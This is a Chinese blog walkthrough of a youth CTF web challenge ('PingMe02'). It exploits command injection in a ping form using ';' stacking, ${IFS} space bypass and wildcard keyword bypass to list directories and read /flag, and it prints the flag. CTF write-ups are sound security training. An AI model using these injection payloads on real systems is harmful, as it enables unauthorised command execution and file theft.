首页 > 其他分享 >经典ctf ping题目详解 青少年CTF-WEB-PingMe02

经典ctf ping题目详解 青少年CTF-WEB-PingMe02

时间:2023-11-18 18:31:39浏览次数:41  
标签:PingMe02 WEB 查看 IFS ip ping flag 文件 0.0

题目环境:image.png

根据题目名称可知 这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址 查看接受的数据包 ?ip=0.0.0.0 image.png

有回显数据,尝试列出目录文件 堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令 列出此目录下的文件 ?ip=0.0.0.0;ls image.png

ls是Linux系统里面的列出目录文件的命令 索性ls没有被过滤

查看隐藏文件 ?ip=0.0.0.0;ls -a image.png

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符 可通过${IFS}绕过空格 $IFS$1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a image.png

成功绕多空格 这里猜测没在根目录下,所以才没发现flag

查看当前路径 ?ip=0.0.0.0;pwd image.png

pwd是Linux系统里面查看当前目录/路径的命令 /var/www/html 可知现在是在html目录下 去看'/'根目录下是否有flag的存在

查看根目录下的文件 ?ip=0.0.0.0;ls${IFS}/ image.png

发现根目录下存在flag文件

查看根目录下flag文件的内容 ?ip=0.0.0.0;cat${IFS}/flag image.png

cat是Linux系统里面最常见的查看文件内容的命令 这里可以使用其它查看文件内容的命令 less、more、nl等等

使用less查看flag内容 ?ip=0.0.0.0;less${IFS}/flag image.png

flag被过滤 可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替) 代表f开头的文件 因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f* image.png ?ip=0.0.0.0;less${IFS}/f??? image.png 使用more查看flag内容 ?ip=0.0.0.0;more${IFS}/f* image.png ?ip=0.0.0.0;more${IFS}/f??? image.png 使用nl查看flag内容 ?ip=0.0.0.0;nl${IFS}/f* image.png ?ip=0.0.0.0;nl${IFS}/f??? image.png 得到flag: qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了 如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

标签:PingMe02,WEB,查看,IFS,ip,ping,flag,文件,0.0
From: https://blog.51cto.com/u_16306712/8464237

相关文章